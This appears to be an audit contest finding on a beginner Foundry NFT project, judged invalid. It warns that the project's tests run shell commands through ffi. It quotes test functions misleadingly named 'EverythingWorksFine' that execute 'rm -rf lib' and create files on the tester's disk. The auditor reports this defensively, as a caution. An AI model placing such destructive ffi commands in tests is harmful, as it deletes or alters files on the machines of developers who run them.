Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: low
Invalid

The testing suite misses fuzz tests and unit test coverage is incomplete. Also: It writes to disc!

[L-16] The testing suite does not include any fuzz tests, coverage of unit tests can be improved, and naming of tests is often confusing. This might have resulted in some bugs not being spotted.

Description Although technically not in scope, it should be noted that fuzz tests are missing and unit test coverage is incomplete. This might have resulted in some bugs not being spotted.

Also, having unit tests suddenly write straight to my file system was interesting... but also a bit scary. This should obviously never been done in real life. (And I will from now on always do ctrl-f 'ffi' before running a test script in foundry and check the mock files!).

import { mock } from "../src/mocks/mock.sol";
function test_EverythingWorksFine() public {
string[] memory cmds = new string[](3);
cmds[0] = "rm";
cmds[1] = "-rf";
cmds[2] = "lib";
cheatCodes.ffi(cmds);
}
function test_EverythingWorksFine1() public {
string[] memory cmds = new string[](2);
cmds[0] = "touch";
cmds[1] = "1. You have been";
cheatCodes.ffi(cmds);
}

...and so on.

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Info/Gas/Invalid according to docs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.